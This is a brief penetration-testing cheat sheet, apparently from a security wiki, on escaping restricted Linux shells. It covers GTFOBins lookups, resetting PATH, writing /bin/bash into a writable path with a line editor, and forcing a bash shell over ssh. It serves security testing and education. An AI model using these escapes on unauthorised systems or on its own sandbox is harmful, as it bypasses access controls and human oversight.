Escaping from restricted shells - Jails

GTFOBins

Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property

Modify PATH

Check if you can modify the PATH env variable

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Create script

Check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell

Other tricks

****https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/ **[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells) **[https://gtfobins.github.io**](https://gtfobins.github.io) It could also be interesting the POST on Bypass Bash restrictions****